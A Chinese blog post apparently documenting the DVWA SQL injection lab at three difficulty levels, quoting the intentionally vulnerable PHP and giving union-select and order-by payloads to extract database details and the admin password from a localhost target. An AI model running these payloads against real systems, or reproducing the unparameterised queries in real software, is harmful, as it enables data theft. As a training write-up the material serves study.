代码审计之SQL

Posted by Xiaoxi on June 3, 2016

SQL injectin

low

目标

窃取到admin的密码

源码

php
<?php 

if( isset( $_REQUEST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_REQUEST[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

    // Get results 
    $num = mysql_numrows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Get values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

        // Increase loop count 
        $i++; 
    } 

    mysql_close(); 
	} 

	?> 

$_REQUEST的官方说明如下:$_REQUEST — HTTP Request 变量默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。

也就是说,再不关心是get过来的还是post,总之要取得某一个键的值,就用$_REQUEST就可以了。

不过$_REQUEST速度会比$_GET,$_POST稍慢点。

过程

  • 主要问题出现在这:$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;”; 这里的$id变量直接由 $id = $_REQUEST[ ‘id’ ];得到,没有进行任何过滤。
  • 那么我们就可以通过输入恶意的字符串来进行sql注入。
  • 首先,通过order by来确认表 http://localhost:8888/dvwa/vulnerabilities/sqli/?id=1’ order by 2 – &Submit=Submit 拼接到代码内,$id就为 1’ order by 2 –

    对应SQL语句就为 SELECT first_name, last_name FROM users WHERE user_id = ‘1’ order by 2 – ‘ order 3 失败 说明是2

  • 然后,依次进行注入即可

    payload:http://localhost:8888/dvwa/vulnerabilities/sqli/?id=-1’ union select 1,concat_ws(char(32,58,32),user(),database(),version()) – &Submit=Submit

    32 表示空格 58为: image load文件 image 获取帐户和密码 image

Medium

源码

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
	// Get input
	$id = $_POST[ 'id' ];
	$id = mysql_real_escape_string( $id );

	// Check database
	$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
	$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

	// Get results
	$num = mysql_numrows( $result );
	$i   = 0;
	while( $i < $num ) {
    	// Display values
    	$first = mysql_result( $result, $i, "first_name" );
    	$last  = mysql_result( $result, $i, "last_name" );

    	// Feedback for end user
    	echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

    	// Increase loop count
    	$i++;
	}

	//mysql_close();
}

?> ### 	过程 - 这只是在low的基础上加了  $id = mysql_real_escape_string( $id );这个函数是转义sql语句中使用的字符串中的特殊字符(• \x00• \n• \r • \ • ' • " • \x1a) - 我们仔细看发现,这里的id参数是直接引用的,并没有加任何的引号,所以get请求中id后面的所有内容,可以直接参与sql语句的构建。比如如果id的内容是id = 0 union select database(),user().那拼接到php代码中就是

select first_name,last_name from users where user_id=0 union select database(),user()

High

源码

session:image

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
	// Get input
	$id = $_SESSION[ 'id' ];

	// Check database
	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
	$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );

	// Get results
	$num = mysql_numrows( $result );
	$i   = 0;
	while( $i < $num ) {
		// Get values
		$first = mysql_result( $result, $i, "first_name" );
		$last  = mysql_result( $result, $i, "last_name" );

		// Feedback for end user
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

		// Increase loop count
		$i++;
	}

	mysql_close();
}

?>

过程

只需要在session界面注入即可

image

image